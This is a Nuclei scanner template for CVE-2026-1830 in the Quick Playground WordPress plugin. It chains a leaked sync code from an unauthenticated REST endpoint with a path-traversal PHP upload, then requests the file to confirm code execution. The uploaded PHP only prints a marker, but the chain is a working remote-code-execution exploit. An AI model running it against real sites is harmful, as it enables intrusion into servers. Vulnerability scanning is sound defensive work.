id: CVE-2026-1830

info:
  name: Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
  author: iamatownboy
  severity: critical
  description: |
    The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1.
    The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.
  impact: |
    Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server.
  remediation: |
    Update Quick Playground to version 1.3.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1830
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=cve
    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L39
    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/expro-api.php#L419
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3500839%40quick-playground&new=3500839%40quick-playground&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1830
    epss-score: 0.07713
    epss-percentile: 0.94011
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: davidfcarr
    product: quick-playground
    framework: wordpress
    publicwww-query: "/plugins/quick-playground/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,quick-playground,unauth,rce,file-upload,intrusive

variables:
  filename: "{{rand_text_alpha(8)}}.php"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/quick-playground/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "Quick Playground")
          - compare_versions(version, "<= 1.3.1")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-json/quickplayground/v1/blueprint/default HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: body
        regex:
          - '"qckply_sync_code"\s*:\s*"[a-zA-Z0-9]+"'
        internal: true

    extractors:
      - type: regex
        name: sync_code
        part: body
        group: 1
        regex:
          - '"qckply_sync_code"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-json/quickplayground/v1/upload_image/default HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sync_code":"{{sync_code}}","base64":"PD9waHAgZWNobyAiQ1ZFLTIwMjYtMTgzMCI7ID8+","filename":"../../{{filename}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "saving to")
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/{{filename}}"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "CVE-2026-1830")
        condition: and
# digest: 490a00463044022062ef763f7281ce70a1130738e9891898ca8d41844fdab650e9fdc790235d5f0302206543decb2040607b3749a776d8782fefabd769ed4ef9bcba34921df160e8dfa1:922c64590222798bb761d5b6d8e72950